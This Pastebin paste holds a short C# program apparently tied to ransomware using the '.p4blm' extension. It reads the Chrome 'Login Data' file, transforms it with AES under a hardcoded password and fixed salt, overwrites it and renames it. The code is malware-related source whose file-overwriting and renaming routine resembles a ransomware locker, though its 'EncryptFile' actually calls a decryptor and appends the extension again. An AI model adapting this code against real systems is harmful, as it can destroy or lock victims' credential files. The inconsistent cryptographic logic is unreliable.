Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Linq;
- using System.Security.Cryptography;
- using System.Text;
- namespace VTropia
- {
- internal class Crypt
- {
- public static void Main(string[] args)
- {
- string password = "084b988baa7c8d98cda90c5fe603c560";
- Crypt.EncryptFile("C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.p4blm", password);
- }
- public static void EncryptFile(string file, string password)
- {
- byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
- byte[] array = Encoding.UTF8.GetBytes(password);
- array = SHA256.Create().ComputeHash(array);
- byte[] bytes = Crypt.AES_Encrypt(bytesToBeEncrypted, array);
- try
- {
- File.WriteAllBytes(file, bytes);
- string str = ".p4blm";
- File.Move(file, file + str);
- }
- catch (UnauthorizedAccessException)
- {
- }
- }
- public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
- {
- byte[] result = null;
- byte[] salt = new byte[]
- {
- 1,
- 8,
- 3,
- 6,
- 2,
- 4,
- 9,
- 7
- };
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
- {
- rijndaelManaged.KeySize = 256;
- rijndaelManaged.BlockSize = 128;
- Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, 1000);
- rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
- rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
- rijndaelManaged.Mode = CipherMode.CBC;
- using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
- {
- cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
- cryptoStream.Close();
- }
- result = memoryStream.ToArray();
- }
- }
- return result;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment